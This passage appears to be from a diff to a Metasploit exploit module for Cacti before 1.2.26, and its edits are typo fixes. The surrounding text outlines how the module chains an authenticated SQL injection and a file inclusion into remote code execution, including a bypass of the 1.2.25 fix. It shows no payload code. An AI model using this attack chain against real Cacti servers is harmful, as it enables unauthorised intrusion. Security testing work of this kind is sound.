Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25. The exploit will do the following: - Login with the provided credentials -- Perform a serie of SQL injections to: +- Perform a series of SQL injections to: - backup the current log file path and add a new path to the `settings` table - insert the new log file path to the External Links table (`external_links`) - add permission to access this external link to the current user (`user_auth_realm`) diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb index 337f0dac947a..74085fd6eeb7 100644 --- a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -25,7 +25,7 @@ def initialize(info = {}) 'Name' => 'Cacti RCE via SQLi in pollers.php', 'Description' => %q{ This exploit module leverages a SQLi (CVE-2023-49085) and a LFI - (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to + (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General